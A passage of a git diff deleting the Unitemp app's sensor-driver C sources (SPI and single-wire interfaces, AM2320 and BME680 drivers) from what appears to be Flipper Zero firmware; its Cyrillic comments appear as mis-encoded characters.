of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#include -#include -#include "SPISensor.h" - -static uint8_t sensors_count = 0; - -bool unitemp_spi_sensor_alloc(Sensor* sensor, char* args) { - if(args == NULL) return false; - - //Создание инÑтанÑа датчика SPI - SPISensor* instance = malloc(sizeof(SPISensor)); - if(instance == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s instance allocation error", sensor->name); - return false; - } - sensor->instance = instance; - - //Определение GPIO chip select - int gpio = 255; - sscanf(args, "%d", &gpio); - instance->CS_pin = unitemp_gpio_getFromInt(gpio); - if(instance->CS_pin == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s GPIO setting error", sensor->name); - free(instance); - return false; - } - - instance->spi = malloc(sizeof(FuriHalSpiBusHandle)); - memcpy(instance->spi, &furi_hal_spi_bus_handle_external, sizeof(FuriHalSpiBusHandle)); - - instance->spi->cs = instance->CS_pin->pin; - - bool status = sensor->type->allocator(sensor, args); - - //Блокировка портов GPIO - sensors_count++; - unitemp_gpio_lock(unitemp_gpio_getFromInt(2), &SPI); - unitemp_gpio_lock(unitemp_gpio_getFromInt(3), &SPI); - unitemp_gpio_lock(unitemp_gpio_getFromInt(5), &SPI); - unitemp_gpio_lock(instance->CS_pin, &SPI); - return status; -} - -bool unitemp_spi_sensor_free(Sensor* sensor) { - bool status = sensor->type->mem_releaser(sensor); - unitemp_gpio_unlock(((SPISensor*)sensor->instance)->CS_pin); - free(((SPISensor*)(sensor->instance))->spi); - free(sensor->instance); - - if(--sensors_count == 0) { - unitemp_gpio_unlock(unitemp_gpio_getFromInt(2)); - unitemp_gpio_unlock(unitemp_gpio_getFromInt(3)); - unitemp_gpio_unlock(unitemp_gpio_getFromInt(5)); - } - - return status; -} - -bool unitemp_spi_sensor_init(Sensor* sensor) { - return sensor->type->initializer(sensor); -} - -bool unitemp_spi_sensor_deinit(Sensor* sensor) { - UNUSED(sensor); - - return true; -} - -UnitempStatus unitemp_spi_sensor_update(Sensor* sensor) { - return sensor->type->updater(sensor); -} \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/SPISensor.h b/applications/external/unitemp/interfaces/SPISensor.h deleted file mode 100644 index 40f284b04..000000000 --- a/applications/external/unitemp/interfaces/SPISensor.h +++ /dev/null @@ -1,66 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SPI -#define UNITEMP_SPI - -#include "../unitemp.h" -#include - -//Структура SPI датчика -typedef struct SPISensor { - //Указатель на Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ SPI - FuriHalSpiBusHandle* spi; - //Порт Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ CS - const GPIO* CS_pin; -} SPISensor; - -/** - * @brief Выделение памÑти Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° Ñ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñом SPI - * @param sensor Указатель на датчик - * @param args Указатель на маÑÑив аргументов Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð°Ð¼Ð¸ датчика - * @return ИÑтина еÑли вÑÑ‘ ок - */ -bool unitemp_spi_sensor_alloc(Sensor* sensor, char* args); - -/** - * @brief Ð’Ñ‹Ñвобождение памÑти инÑтанÑа датчика - * @param sensor Указатель на датчик - */ -bool unitemp_spi_sensor_free(Sensor* sensor); - -/** - * @brief Инициализации датчика Ñ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñом one wire - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_spi_sensor_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_spi_sensor_deinit(Sensor* sensor); - -/** - * @brief Обновить значение Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_spi_sensor_update(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/SingleWireSensor.c b/applications/external/unitemp/interfaces/SingleWireSensor.c deleted file mode 100644 index d6d1b092b..000000000 --- a/applications/external/unitemp/interfaces/SingleWireSensor.c +++ /dev/null @@ -1,279 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "SingleWireSensor.h" - -//МакÑимальное количеÑтво попугаев Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° -#define POLLING_TIMEOUT_TICKS 500 - -/* Типы датчиков и их параметры */ -const SensorType DHT11 = { - .typename = "DHT11", - .interface = &SINGLE_WIRE, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 2000, - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .initializer = unitemp_singlewire_init, - .deinitializer = unitemp_singlewire_deinit, - .updater = unitemp_singlewire_update}; -const SensorType DHT12_SW = { - .typename = "DHT12", - .interface = &SINGLE_WIRE, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 2000, - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .initializer = unitemp_singlewire_init, - .deinitializer = unitemp_singlewire_deinit, - .updater = unitemp_singlewire_update}; -const SensorType DHT21 = { - .typename = "DHT21", - .altname = "DHT21/AM2301", - .interface = &SINGLE_WIRE, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 1000, - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .initializer = unitemp_singlewire_init, - .deinitializer = unitemp_singlewire_deinit, - .updater = unitemp_singlewire_update}; -const SensorType DHT22 = { - .typename = "DHT22", - .altname = "DHT22/AM2302", - .interface = &SINGLE_WIRE, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 2000, - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .initializer = unitemp_singlewire_init, - .deinitializer = unitemp_singlewire_deinit, - .updater = unitemp_singlewire_update}; -const SensorType AM2320_SW = { - .typename = "AM2320", - .altname = "AM2320 (single wire)", - .interface = &SINGLE_WIRE, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 2000, - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .initializer = unitemp_singlewire_init, - .deinitializer = unitemp_singlewire_deinit, - .updater = unitemp_singlewire_update}; - -bool unitemp_singlewire_alloc(Sensor* sensor, char* args) { - if(args == NULL) return false; - SingleWireSensor* instance = malloc(sizeof(SingleWireSensor)); - if(instance == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s instance allocation error", sensor->name); - return false; - } - sensor->instance = instance; - - int gpio = 255; - sscanf(args, "%d", &gpio); - - if(unitemp_singlewire_sensorSetGPIO(sensor, unitemp_gpio_getFromInt(gpio))) { - return true; - } - FURI_LOG_E(APP_NAME, "Sensor %s GPIO setting error", sensor->name); - free(instance); - return false; -} -bool unitemp_singlewire_free(Sensor* sensor) { - free(sensor->instance); - - return true; -} - -bool unitemp_singlewire_init(Sensor* sensor) { - SingleWireSensor* instance = ((Sensor*)sensor)->instance; - if(instance == NULL || instance->gpio == NULL) { - FURI_LOG_E(APP_NAME, "Sensor pointer is null!"); - return false; - } - unitemp_gpio_lock(instance->gpio, &SINGLE_WIRE); - //Ð’Ñ‹Ñокий уровень по умолчанию - furi_hal_gpio_write(instance->gpio->pin, true); - //Режим работы - OpenDrain, подтÑжка включаетÑÑ Ð½Ð° вÑÑкий Ñлучай - furi_hal_gpio_init( - instance->gpio->pin, //Порт FZ - GpioModeOutputOpenDrain, //Режим работы - открытый Ñток - GpioPullUp, //ÐŸÑ€Ð¸Ð½ÑƒÐ´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¿Ð¾Ð´Ñ‚Ñжка линии данных к питанию - GpioSpeedVeryHigh); //СкороÑÑ‚ÑŒ работы - макÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - return true; -} - -bool unitemp_singlewire_deinit(Sensor* sensor) { - SingleWireSensor* instance = ((Sensor*)sensor)->instance; - if(instance == NULL || instance->gpio == NULL) return false; - unitemp_gpio_unlock(instance->gpio); - //Ðизкий уровень по умолчанию - furi_hal_gpio_write(instance->gpio->pin, false); - //Режим работы - аналог, подтÑжка выключена - furi_hal_gpio_init( - instance->gpio->pin, //Порт FZ - GpioModeAnalog, //Режим работы - аналог - GpioPullNo, //ПодтÑжка выключена - GpioSpeedLow); //СкороÑÑ‚ÑŒ работы - Ð¼Ð¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - return true; -} - -bool unitemp_singlewire_sensorSetGPIO(Sensor* sensor, const GPIO* gpio) { - if(sensor == NULL || gpio == NULL) return false; - SingleWireSensor* instance = sensor->instance; - instance->gpio = gpio; - return true; -} -const GPIO* unitemp_singlewire_sensorGetGPIO(Sensor* sensor) { - if(sensor == NULL) return NULL; - SingleWireSensor* instance = sensor->instance; - return instance->gpio; -} - -UnitempStatus unitemp_singlewire_update(Sensor* sensor) { - SingleWireSensor* instance = sensor->instance; - - //МаÑÑив Ð´Ð»Ñ Ð¿Ñ€Ð¸Ñ‘Ð¼Ð° данных - uint8_t data[5] = {0}; - - /* Ð—Ð°Ð¿Ñ€Ð¾Ñ */ - //ОпуÑкание линии - furi_hal_gpio_write(instance->gpio->pin, false); - //Ожидание более 18 Ð¼Ñ - furi_delay_ms(19); - //Выключение прерываний, чтобы ничто не мешало обработке данных - __disable_irq(); - //Подъём линии - furi_hal_gpio_write(instance->gpio->pin, true); - - /* Ответ датчика */ - //ПеременнаÑ-Ñчётчик - uint16_t timeout = 0; - - //Ожидание подъёма линии - while(!furi_hal_gpio_read(instance->gpio->pin)) { - timeout++; - if(timeout > POLLING_TIMEOUT_TICKS) { - //Включение прерываний - __enable_irq(); - //Возврат признака отÑутÑтвующего датчика - return UT_SENSORSTATUS_TIMEOUT; - } - } - timeout = 0; - - //Ожидание Ñпада линии - while(furi_hal_gpio_read(instance->gpio->pin)) { - timeout++; - if(timeout > POLLING_TIMEOUT_TICKS) { - //Включение прерываний - __enable_irq(); - //Возврат признака отÑутÑтвующего датчика - return UT_SENSORSTATUS_TIMEOUT; - } - } - - //Ожидание подъёма линии - while(!furi_hal_gpio_read(instance->gpio->pin)) { - timeout++; - if(timeout > POLLING_TIMEOUT_TICKS) { - //Включение прерываний - __enable_irq(); - //Возврат признака отÑутÑтвующего датчика - return UT_SENSORSTATUS_TIMEOUT; - } - } - timeout = 0; - - //Ожидание Ñпада линии - while(furi_hal_gpio_read(instance->gpio->pin)) { - timeout++; - if(timeout > POLLING_TIMEOUT_TICKS) { - //Включение прерываний - __enable_irq(); - //Возврат признака отÑутÑтвующего датчика - return UT_SENSORSTATUS_TIMEOUT; - } - } - - /* Чтение данных Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ°*/ - //Приём 5 байт - for(uint8_t a = 0; a < 5; a++) { - for(uint8_t b = 7; b != 255; b--) { - uint16_t hT = 0, lT = 0; - //Пока Ð»Ð¸Ð½Ð¸Ñ Ð² низком уровне, инкремент переменной lT - while(!furi_hal_gpio_read(instance->gpio->pin) && lT != 65535) lT++; - //Пока Ð»Ð¸Ð½Ð¸Ñ Ð² выÑоком уровне, инкремент переменной hT - while(furi_hal_gpio_read(instance->gpio->pin) && hT != 65535) hT++; - //ЕÑли hT больше lT, то пришла единица - if(hT > lT) data[a] |= (1 << b); - } - } - //Включение прерываний - __enable_irq(); - - //Проверка контрольной Ñуммы - if((uint8_t)(data[0] + data[1] + data[2] + data[3]) != data[4]) { - //ЕÑли ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŒÐ½Ð°Ñ Ñумма не Ñовпала, возврат ошибки - return UT_SENSORSTATUS_BADCRC; - } - - /* Преобразование данных в Ñвный вид */ - //DHT11 и DHT12 - if(sensor->type == &DHT11 || sensor->type == &DHT12_SW) { - sensor->hum = (float)data[0]; - sensor->temp = (float)data[2]; - - //Проверка на отрицательноÑÑ‚ÑŒ температуры - if(data[3] != 0) { - //Проверка знака - if(!(data[3] & (1 << 7))) { - //Добавление положительной дробной чаÑти - sensor->temp += data[3] * 0.1f; - } else { - //Ртут делаем отрицательное значение - data[3] &= ~(1 << 7); - sensor->temp += data[3] * 0.1f; - sensor->temp *= -1; - } - } - } - - //DHT21, DHT22, AM2320 - if(sensor->type == &DHT21 || sensor->type == &DHT22 || sensor->type == &AM2320_SW) { - sensor->hum = (float)(((uint16_t)data[0] << 8) | data[1]) / 10; - - uint16_t raw = (((uint16_t)data[2] << 8) | data[3]); - //Проверка на отрицательноÑÑ‚ÑŒ температуры - if(READ_BIT(raw, 1 << 15)) { - //Проверка на ÑпоÑоб ÐºÐ¾Ð´Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… - if(READ_BIT(raw, 0x6000)) { - //Ðе оригинал - sensor->temp = (float)((int16_t)raw) / 10; - } else { - //Оригинальный датчик - CLEAR_BIT(raw, 1 << 15); - sensor->temp = (float)(raw) / -10; - } - } else { - sensor->temp = (float)(raw) / 10; - } - } - //Возврат признака уÑпешного опроÑа - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/interfaces/SingleWireSensor.h b/applications/external/unitemp/interfaces/SingleWireSensor.h deleted file mode 100644 index c762ff0aa..000000000 --- a/applications/external/unitemp/interfaces/SingleWireSensor.h +++ /dev/null @@ -1,92 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SINGLE_WIRE -#define UNITEMP_SINGLE_WIRE - -#include "../unitemp.h" -#include "../Sensors.h" - -//Ð˜Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Single Wire -typedef struct { - //Порт Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - const GPIO* gpio; -} SingleWireSensor; - -/* Датчики */ -extern const SensorType DHT11; -extern const SensorType DHT12_SW; -extern const SensorType DHT21; -extern const SensorType DHT22; -extern const SensorType AM2320_SW; - -/** - * @brief Ð˜Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на инициализируемый датчик - * @return ИÑтина еÑли вÑÑ‘ прошло уÑпешно - */ -bool unitemp_singlewire_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на инициализируемый датчик - * @return ИÑтина еÑли вÑÑ‘ прошло уÑпешно - */ -bool unitemp_singlewire_deinit(Sensor* sensor); - -/** - * @brief Получение данных Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° по однопроводному интерфейÑу DHTxx и AM2xxx - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа - */ -UnitempStatus unitemp_singlewire_update(Sensor* sensor); - -/** - * @brief УÑтановить порт датчика - * - * @param sensor Указатель на датчик - * @param gpio УÑтанавливаемый порт - * @return ИÑтина еÑли вÑÑ‘ ок - */ -bool unitemp_singlewire_sensorSetGPIO(Sensor* sensor, const GPIO* gpio); - -/** - * @brief Получить порт датчика - * - * @param sensor Указатель на датчик - * @return Указатель на GPIO - */ -const GPIO* unitemp_singlewire_sensorGetGPIO(Sensor* sensor); - -/** - * @brief Выделение памÑти под датчик на линии One Wire - * - * @param sensor Указатель на датчик - * @param args Указатель на маÑÑив Ñ Ð°Ñ€Ð³ÑƒÐ¼ÐµÐ½Ñ‚Ð°Ð¼Ð¸ параметров датчка - */ -bool unitemp_singlewire_alloc(Sensor* sensor, char* args); - -/** - * @brief Ð’Ñ‹Ñвобождение памÑти инÑтанÑа датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_singlewire_free(Sensor* sensor); -#endif \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/endianness.h b/applications/external/unitemp/interfaces/endianness.h deleted file mode 100644 index c4a3f4b87..000000000 --- a/applications/external/unitemp/interfaces/endianness.h +++ /dev/null @@ -1,60 +0,0 @@ -// -// Created by Avilov Vasily on 10.06.2023. -// - -#ifndef FLIPPERZERO_FIRMWARE_ENDIANNESS_H -#define FLIPPERZERO_FIRMWARE_ENDIANNESS_H - -inline static void store16(uint8_t* b, uint16_t i) { - memcpy(b, &i, 2); -} - -inline static void store32(uint8_t* b, uint32_t i) { - memcpy(b, &i, 4); -} - -inline static uint16_t load16(uint8_t* b) { - uint16_t x; - memcpy(&x, b, 2); - return x; -} - -inline static uint32_t load32(uint8_t* b) { - uint32_t x; - memcpy(&x, b, 4); - return x; -} - -#if BYTE_ORDER == BIG_ENDIAN -#define htobe16(x) (x) -#define htobe32(x) (x) -#define htole16(x) __builtin_bswap16(x) -#define htole32(x) __builtin_bswap32(x) -#define be16toh(x) (x) -#define be32toh(x) (x) -#define le16toh(x) __builtin_bswap16(x) -#define le32toh(x) __builtin_bswap32(x) -#elif BYTE_ORDER == LITTLE_ENDIAN -#define htobe16(x) __builtin_bswap16(x) -#define htobe32(x) __builtin_bswap32(x) -#define htole16(x) (x) -#define htole32(x) (x) -#define be16toh(x) __builtin_bswap16(x) -#define be32toh(x) __builtin_bswap32(x) -#define le16toh(x) (x) -#define le32toh(x) (x) -#else -#error "What kind of system is this?" -#endif - -#define load16_le(b) (le16toh(load16(b))) -#define load32_le(b) (le32toh(load32(b))) -#define store16_le(b, i) (store16(b, htole16(i))) -#define store32_le(b, i) (store32(b, htole32(i))) - -#define load16_be(b) (be16toh(load16(b))) -#define load32_be(b) (be32toh(load32(b))) -#define store16_be(b, i) (store16(b, htobe16(i))) -#define store32_be(b, i) (store32(b, htobe32(i))) - -#endif //FLIPPERZERO_FIRMWARE_ENDIANNESS_H diff --git a/applications/external/unitemp/sensors/AM2320.c b/applications/external/unitemp/sensors/AM2320.c deleted file mode 100644 index 29b255e1d..000000000 --- a/applications/external/unitemp/sensors/AM2320.c +++ /dev/null @@ -1,106 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "AM2320.h" -#include "../interfaces/I2CSensor.h" - -const SensorType AM2320_I2C = { - .typename = "AM2320_I2C", - .altname = "AM2320 (I2C)", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY, - .pollingInterval = 2000, - .allocator = unitemp_AM2320_I2C_alloc, - .mem_releaser = unitemp_AM2320_I2C_free, - .initializer = unitemp_AM2320_init, - .deinitializer = unitemp_AM2320_I2C_deinit, - .updater = unitemp_AM2320_I2C_update}; - -static uint16_t AM2320_calc_CRC(uint8_t* ptr, uint8_t len) { - uint16_t crc = 0xFFFF; - uint8_t i; - while(len--) { - crc ^= *ptr++; - for(i = 0; i < 8; i++) { - if(crc & 0x01) { - crc >>= 1; - crc ^= 0xA001; - } else { - crc >>= 1; - } - } - } - return crc; -} - -bool unitemp_AM2320_I2C_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x5C << 1; - i2c_sensor->maxI2CAdr = 0x5C << 1; - return true; -} - -bool unitemp_AM2320_I2C_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_AM2320_init(Sensor* sensor) { - //Ðечего инициализировать - UNUSED(sensor); - return true; -} - -bool unitemp_AM2320_I2C_deinit(Sensor* sensor) { - //Ðечего деинициализировать - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_AM2320_I2C_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - uint8_t data[8] = {0x03, 0x00, 0x04}; - - //Wake up - unitemp_i2c_isDeviceReady(i2c_sensor); - furi_delay_ms(1); - - //Ð—Ð°Ð¿Ñ€Ð¾Ñ - if(!unitemp_i2c_writeArray(i2c_sensor, 3, data)) return UT_SENSORSTATUS_TIMEOUT; - furi_delay_ms(2); - //Ответ - if(!unitemp_i2c_readArray(i2c_sensor, 8, data)) return UT_SENSORSTATUS_TIMEOUT; - - if(AM2320_calc_CRC(data, 6) != ((data[7] << 8) | data[6])) { - return UT_SENSORSTATUS_BADCRC; - } - - sensor->hum = (float)(((uint16_t)data[2] << 8) | data[3]) / 10; - //Проверка на отрицательноÑÑ‚ÑŒ температуры - if(!(data[4] & (1 << 7))) { - sensor->temp = (float)(((uint16_t)data[4] << 8) | data[5]) / 10; - } else { - data[4] &= ~(1 << 7); - sensor->temp = (float)(((uint16_t)data[4] << 8) | data[5]) / -10; - } - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/AM2320.h b/applications/external/unitemp/sensors/AM2320.h deleted file mode 100644 index fa5f502d4..000000000 --- a/applications/external/unitemp/sensors/AM2320.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_AM2320 -#define UNITEMP_AM2320 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType AM2320_I2C; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика AM2320 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_AM2320_I2C_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика AM2320 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_AM2320_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_AM2320_I2C_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_AM2320_I2C_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_AM2320_I2C_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/BME680.c b/applications/external/unitemp/sensors/BME680.c deleted file mode 100644 index 397e702cb..000000000 --- a/applications/external/unitemp/sensors/BME680.c +++ /dev/null @@ -1,431 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by g0gg0 (https://github.com/g3gg0) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "BME680.h" - -const SensorType BME680 = { - .typename = "BME680", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY | UT_PRESSURE, - .pollingInterval = 500, - .allocator = unitemp_BME680_alloc, - .mem_releaser = unitemp_BME680_free, - .initializer = unitemp_BME680_init, - .deinitializer = unitemp_BME680_deinit, - .updater = unitemp_BME680_update}; - -//Интервал Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ°Ð»Ð¸Ð±Ñ€Ð¾Ð²Ð¾Ñ‡Ð½Ñ‹Ñ… значений -#define BOSCH_CAL_UPDATE_INTERVAL 60000 - -#define BME680_ID 0x61 - -#define BME680_I2C_ADDR_MIN (0x76 << 1) -#define BME680_I2C_ADDR_MAX (0x77 << 1) - -#define BME680_REG_STATUS 0x1D -#define BME680_REG_CTRL_MEAS 0x74 -#define BME680_REG_CONFIG 0x75 -#define BME680_REG_CTRL_HUM 0x72 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ -#define BME680_TEMP_OVERSAMPLING_SKIP 0b00000000 -#define BME680_TEMP_OVERSAMPLING_1 0b00100000 -#define BME680_TEMP_OVERSAMPLING_2 0b01000000 -#define BME680_TEMP_OVERSAMPLING_4 0b01100000 -#define BME680_TEMP_OVERSAMPLING_8 0b10000000 -#define BME680_TEMP_OVERSAMPLING_16 0b10100000 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ -#define BME680_PRESS_OVERSAMPLING_SKIP 0b00000000 -#define BME680_PRESS_OVERSAMPLING_1 0b00000100 -#define BME680_PRESS_OVERSAMPLING_2 0b00001000 -#define BME680_PRESS_OVERSAMPLING_4 0b00001100 -#define BME680_PRESS_OVERSAMPLING_8 0b00010000 -#define BME680_PRESS_OVERSAMPLING_16 0b00010100 -//ПреддеÑÐºÑ€ÐµÑ‚Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾Ñти -#define BME680_HUM_OVERSAMPLING_SKIP 0b00000000 -#define BME680_HUM_OVERSAMPLING_1 0b00000001 -#define BME680_HUM_OVERSAMPLING_2 0b00000010 -#define BME680_HUM_OVERSAMPLING_4 0b00000011 -#define BME680_HUM_OVERSAMPLING_8 0b00000100 -#define BME680_HUM_OVERSAMPLING_16 0b00000101 -//Режимы работы датчика -#define BME680_MODE_SLEEP 0b00000000 //ÐаелÑÑ Ð¸ Ñпит -#define BME680_MODE_FORCED 0b00000001 //ОбновлÑет Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ 1 раз, поÑле чего уходит в Ñон -//КоÑффициент фильтрации значений -#define BME680_FILTER_COEFF_1 0b00000000 -#define BME680_FILTER_COEFF_2 0b00000100 -#define BME680_FILTER_COEFF_4 0b00001000 